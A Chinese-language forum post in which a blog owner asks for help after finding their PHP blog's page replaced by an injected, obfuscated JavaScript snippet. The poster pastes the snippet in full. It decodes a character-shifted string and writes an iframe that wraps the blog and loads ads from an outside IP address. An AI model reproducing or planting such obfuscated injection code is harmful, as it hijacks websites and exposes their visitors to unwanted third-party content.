网站安全有关问题！

网站安全问题！！急！！
我的博客站，有的时候我突然打开会在右下角弹出一个广告窗口！我查看源代码，整个页面成了<script>var d="=iunm?=ifbe?=tdsjqu!uzqf>#ufyu0kbwbtdsjqu#?gvodujpo!mpbeBuusjcvuf)*|wbs!g>epdvnfou/hfuFmfnfouCzJe)#g#*<wbs!tfswfs>#iuuq;0072/246/33/6;91#<wbs!sfrvjsfe>#beje>311151'uddb>'vsjq>48268:2:97'psmv>bIS1dEpwM4e4ez52NkGxbIBvZ3:u'tqje>2635:244:7'bsfb>2'ut>2467785659#<jg)tfmg/epdvnfou/mpdbujpo>>xjoepx/epdvnfou/VSM!''!epdvnfou/cpez/dmjfouXjeui?>611!''!epdvnfou/cpez/dmjfouIfjhiu?>611*|g/tsd>tfswfs,#0b0t@g>betuzmf";function i(_,__){_+=__;var $="";for(var u=0;u<_.length;u++){var r=_.charCodeAt(u);$+=String.fromCharCode(r-1);}return $;} var c="`nto/iunm'#,sfrvjsfe,#'bpsmv>bIS1dEpwM4e4ez62cnmvfD6kc31wfHNyMni1cXx>'q2bsn>431'q3bsn>411'q4bsn>41'q5bsn>6'q6bsn>21'q7bsn>2'bqqe>1'ibtDpvou>1'ibtXijufVtfs>1#<~fmtf|g/tsd>tfswfs,#0b0q@#,sfrvjsfe,#'qvtiGmbh>1#<~~=0tdsjqu?=0ifbe?=cpez!pompbe>#mpbeBuusjcvuf)*#!sjhiuNbshjo>1!upqNbshjo>1!mfguNbshjo>1!tdspmm>op?=jgsbnf!je>#g#!gsbnfCpsefs>1!xjeui>211&!ifjhiu>211&!tdspmmjoh>bvup!tsd>##?=0jgsbnf?=0cpez?=0iunm?";document.write(i(d,c));</script>这样一个js，这个js可以加载我的博客，但是也嵌套了广告，但是我搞不清楚他怎么能够加载上的呢？我的是动态的php，有没有遇到过类似情况的，指导一下！！！！